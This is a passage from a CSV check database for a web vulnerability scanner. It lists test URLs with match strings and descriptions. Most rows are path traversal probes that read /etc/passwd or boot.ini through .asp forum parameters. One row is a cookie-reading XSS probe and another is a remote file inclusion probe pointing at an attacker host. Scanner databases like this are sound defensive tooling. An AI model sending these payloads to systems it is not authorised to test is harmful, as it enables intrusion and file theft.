scanner.","","" "002394","3093","1","/forum1.asp?n=../../boot.ini&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002395","3093","1","/forum1.asp?n=/....../boot.ini&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002396","3093","1","/forum1.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002397","3093","1","/forum1.asp?n=/../../../../../../etc/passwd&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002398","3093","1","/forum1.asp?n=/../../../etc/passwd&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002399","3093","1","/forum1.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002400","3093","1","/forum1.asp?n=/etc/passwd%00&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002401","3093","1","/forum1.asp?n=/etc/passwd&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002402","3093","1","/forum1.asp?n=1753&nn=%60/etc/passwd%60","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002403","3093","1","/forum1.asp?n=1753&nn=....//....//....//....//....//....//....//etc.passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002404","3093","1","/forum1.asp?n=1753&nn=../../../../../../../../../../etc/passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002405","3093","1","/forum1.asp?n=1753&nn=../../../../../../../../../../etc/passwd%00","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002406","3093","1","/forum1.asp?n=1753&nn=/....../boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002407","3093","1","/forum1.asp?n=1753&nn=/..../boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002408","3093","1","/forum1.asp?n=1753&nn=/../../../../../../../../../../../../../../../../../../../../boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002409","3093","1","/forum1.asp?n=1753&nn=/.\"./.\"./.\"./.\"./.\"./boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002410","3093","1","/forum1.asp?n=1753&nn=/etc/passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002411","3093","1","/forum1.asp?n=1753&nn=/etc/passwd%00","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002412","3093","1","/forum1.asp?n=1753&nn=c:\boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002413","3093","1","/forum1.asp?n=c:\boot.ini&nn=269|200|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002414","3093","1","/forum1_professionnel.asp?n=%60/etc/passwd%60&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002415","3093","1","/forum1_professionnel.asp?n=....//....//....//....//....//....//....//etc.passwd&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002416","3093","1","/forum1_professionnel.asp?n=../../../../../../../../../etc/passwd%00&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002417","3093","1","/forum1_professionnel.asp?n=/....../boot.ini&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002418","3093","1","/forum1_professionnel.asp?n=/.../.../.../.../.../.../boot.ini&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002419","3093","1","/forum1_professionnel.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002420","3093","1","/forum1_professionnel.asp?n=/../../../../../../../../etc/passwd&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002421","3093","1","/forum1_professionnel.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002422","3093","1","/forum1_professionnel.asp?n=/etc/passwd%00&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002423","3093","1","/forum1_professionnel.asp?n=/etc/passwd&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002424","3093","1","/forum1_professionnel.asp?n=1771&nn=%60/etc/passwd%60&page=1","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002425","3093","1","/forum1_professionnel.asp?n=1771&nn=....//....//....//....//....//....//....//etc.passwd&page=1","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002426","3093","1","/forum1_professionnel.asp?n=1771&nn=../../../../../../../../../etc/passwd%00&page=1","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002427","3093","1","/forum1_professionnel.asp?n=1771&nn=/....../boot.ini&page=1","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002428","3093","1","/forum1_professionnel.asp?n=1771&nn=/../../../../../../../../../../../../../../../../../../../../boot.ini&page=1","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002429","3093","1","/forum1_professionnel.asp?n=1771&nn=/../../../../../../../../etc/passwd&page=1","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002430","3093","1","/forum1_professionnel.asp?n=1771&nn=/.\"./.\"./.\"./.\"./.\"./boot.ini&page=1","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002431","3093","1","/forum1_professionnel.asp?n=1771&nn=/etc/passwd%00&page=1","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002432","3093","1","/forum1_professionnel.asp?n=1771&nn=/etc/passwd&page=1","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002433","3093","1","/forum1_professionnel.asp?n=1771&nn=100&page=%60/etc/passwd%60","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002434","3093","1","/forum1_professionnel.asp?n=1771&nn=100&page=....//....//....//....//....//....//....//etc.passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002435","3093","1","/forum1_professionnel.asp?n=1771&nn=100&page=../../../../../../../../../etc/passwd%00","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002436","3093","1","/forum1_professionnel.asp?n=1771&nn=100&page=/....../boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002437","3093","1","/forum1_professionnel.asp?n=1771&nn=100&page=/..../boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002438","3093","1","/forum1_professionnel.asp?n=1771&nn=100&page=/.../.../.../.../.../.../boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002439","3093","1","/forum1_professionnel.asp?n=1771&nn=100&page=/../../../../../../../../../../../../../../../../../../../../boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002440","3093","1","/forum1_professionnel.asp?n=1771&nn=100&page=/../../../../../../../../../../etc/passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002441","3093","1","/forum1_professionnel.asp?n=1771&nn=100&page=/.\"./.\"./.\"./.\"./.\"./boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002442","3093","1","/forum1_professionnel.asp?n=1771&nn=100&page=/etc/passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002443","3093","1","/forum1_professionnel.asp?n=1771&nn=100&page=/etc/passwd%00","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002444","3093","1","/forum1_professionnel.asp?n=1771&nn=100&page=c:\boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002445","3093","1","/forum1_professionnel.asp?n=1771&nn=c:\boot.ini&page=1","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002446","3093","1","/forum1_professionnel.asp?n=c:\boot.ini&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002447","3093","1","/forum_arc.asp?n=%60/etc/passwd%60|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'`'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002448","3093","1","/forum_arc.asp?n=../../../../../../../../../etc/passwd%00|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002449","3093","1","/forum_arc.asp?n=/....../boot.ini|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002450","3093","1","/forum_arc.asp?n=/.../.../.../.../.../.../boot.ini|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002451","3093","1","/forum_arc.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002452","3093","1","/forum_arc.asp?n=/../../../../../../../../etc/passwd|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002453","3093","1","/forum_arc.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002454","3093","1","/forum_arc.asp?n=/etc/passwd%00|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002455","3093","1","/forum_arc.asp?n=/etc/passwd|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002456","3093","1","/forum_arc.asp?n=268","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002457","3093","1","/forum_arc.asp?n=c:\boot.ini|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'c:'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002458","3093","1","/forum_professionnel.asp?n=%60/etc/passwd%60|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'`'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002459","3093","1","/forum_professionnel.asp?n=....//....//....//....//....//....//....//etc.passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002460","3093","1","/forum_professionnel.asp?n=../../../../../../../../../etc/passwd%00|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002461","3093","1","/forum_professionnel.asp?n=/....../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002462","3093","1","/forum_professionnel.asp?n=/.../.../.../.../.../.../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002463","3093","1","/forum_professionnel.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002464","3093","1","/forum_professionnel.asp?n=/../../../../../../../../etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002465","3093","1","/forum_professionnel.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002466","3093","1","/forum_professionnel.asp?n=/etc/passwd%00|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002467","3093","1","/forum_professionnel.asp?n=/etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002468","3093","1","/forum_professionnel.asp?n=100","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002469","3093","1","/forum_professionnel.asp?n=c:\boot.ini|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'c:'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002470","3093","1","/functions.inc.php+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002471","10447","3","/get_od_toc.pl?Profile=","GET","PROGRA~1","200","","","","WebTrends get_od_toc.pl may be vulnerable to a path disclosure error if this file is reloaded multiple times.","","" "002472","3093","1","/globals.php3","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002473","3093","1","/globals.pl","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002474","6656","6","/Gozila.cgi","GET","200","","","","","Linksys BEF Series routers are vulnerable to multiple DoS attacks in Gozila.cgi.","","" "002475","1963","c","/helperfunction.php","GET","200","","","","","phpAdsNew or SIPS helperfunction.php maybe vulnerable to remote file inclusion.","","" "002476","3093","1","/homebet/homebet.dll?form=menu&option=menu-signin","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002477","27908","c","/htmltonuke.php","GET","200","","","","","HTMLtoNuke filnavn variable may allow remote file inclusion.","","" "002478","3093","1","/idealbb/error.asp?|-|0|404_Object_Not_Found","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002479","3093","1","/iisprotect/admin/SiteAdmin.ASP?|-|0|404_Object_Not_Found","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002480","3093","1","/imprimer.asp?no=%60/etc/passwd%60|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'`'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002481","3093","1","/imprimer.asp?no=....//....//....//....//....//....//....//etc.passwd|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002482","3093","1","/imprimer.asp?no=../../../../../../../../../etc/passwd%00|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002483","3093","1","/imprimer.asp?no=/....../boot.ini|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002484","3093","1","/imprimer.asp?no=/.../.../.../.../.../.../boot.ini|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002485","3093","1","/imprimer.asp?no=/../../../../../../../../../../../../../../../../../../../../boot.ini|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002486","3093","1","/imprimer.asp?no=/../../../../../../../../etc/passwd|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002487","3093","1","/imprimer.asp?no=/.\"./.\"./.\"./.\"./.\"./boot.ini|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002488","3093","1","/imprimer.asp?no=/etc/passwd%00|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002489","3093","1","/imprimer.asp?no=/etc/passwd|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002490","3093","1","/imprimer.asp?no=c:\boot.ini|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'c:'.","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002491","3093","1","/include/customize.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002492","3093","1","/include/help.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002493","3093","1","/includes/footer.php3","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002494","3093","1","/includes/header.php3","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002495","3093","1","/index.php?base=test%20","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002496","3093","1","/index.php?IDAdmin=test","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002497","3093","1","/index.php?pymembs=admin","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002498","3093","1","/index.php?SqlQuery=test%20","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002499","3093","1","/index.php?tampon=test%20","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002500","3093","1","/index.php?topic=&lt;script&gt;alert(document.cookie)&lt;/script&gt;%20","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002501","3093","1","/infos/contact/index.asp","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002502","3093","1","/infos/faq/index.asp","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002503","3093","1","/infos/gen/index.asp","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002504","3093","1","/infos/services/index.asp","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002505","3093","1","/instaboard/index.cfm","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002506","3093","1","/intranet/browse.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002507","3093","1","/invitefriends.php3","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002508","3093","1","/ipchat.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002509","3093","1","/ixmail_netattach.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002510","3093","1","/jsptest.jsp+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002511","3093","1","/kernel/class/delete.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002512","3093","1","/kernel/classes/ezrole.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002513","3093","1","/ldap.search.php3?ldap_serv=nonsense%20","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002514","3093","1","/livredor/index.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002515","3093","1","/login.php3?reason=chpass2%20","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002516","3093","1","/mail/include.html","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002517","3093","1","/mail/settings.html","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002518","3093","1","/mail/src/read_body.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002519","3093","1","/mailview.cgi?cmd=view&fldrname=inbox&select=1&html=../../../../../../etc/passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002520","3093","1","/mambo/banners.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002521","3093","1","/manage/login.asp+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002522","3093","1","/mantis/summary_graph_functions.php?g_jpgraph_path=http%3A%2F%2Fattackershost%2Flistings.txt%3F","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002523","3093","1","/members/ID.pm","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002524","3093","1","/members/ID.xbb","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002525","3093","1","/mod.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002526","3093","1","/modif/delete.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002527","3093","1","/modif/ident.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002528","3093","1","/modif_infos.asp?n=%60/etc/passwd%60","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002529","3093","1","/modif_infos.asp?n=....//....//....//....//....//....//....//etc.passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002530","3093","1","/modif_infos.asp?n=../../../../../../../../../etc/passwd%00","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002531","3093","1","/modif_infos.asp?n=/....../boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002532","3093","1","/modif_infos.asp?n=/.../.../.../.../.../.../boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002533","3093","1","/modif_infos.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002534","3093","1","/modif_infos.asp?n=/../../../../../../../../../etc/passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002535","3093","1","/modif_infos.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002536","3093","1","/modif_infos.asp?n=/etc/passwd","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002537","3093","1","/modif_infos.asp?n=/etc/passwd%00","GET","root:","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002538","3093","1","/modif_infos.asp?n=c:\boot.ini","GET","boot load","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002539","3093","1","/modules/Downloads/voteinclude.php+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002540","3093","1","/modules/Forums/attachment.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002541","3093","1","/modules/Search/index.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002542","3093","1","/modules/WebChat/in.php+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002543","3093","1","/modules/WebChat/out.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002544","3093","1","/modules/WebChat/quit.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002545","3093","1","/modules/WebChat/users.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002546","3093","1","/modules/Your_Account/navbar.php+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002547","3093","1","/moregroupware/modules/webmail2/inc/","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002548","3093","1","/msadc/Samples/SELECTOR/showcode.asp?|-|0|404_Object_Not_Found","GET","200","","","Access Denied","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002549","3093","1","/myguestBk/add1.asp?|-|0|404_Object_Not_Found","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002550","3093","1","/myguestBk/admin/delEnt.asp?id=NEWSNUMBER|-|0|404_Object_Not_Found","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002551","3093","1","/myguestBk/admin/index.asp?|-|0|404_Object_Not_Found","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002552","3093","1","/netget?sid=Safety&msg=2002&file=Safety","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002553","3093","1","/newtopic.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002554","3093","1","/nphp/nphpd.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002555","3093","1","/OpenTopic","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002556","3093","1","/options.inc.php+","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002557","3093","1","/oscommerce/default.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002558","3093","1","/parse_xml.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown scanner.","","" "002559","3093","1","/php/gaestebuch/admin/index.php","GET","200","","","","","This might be interesting... has been seen in web logs from an unknown 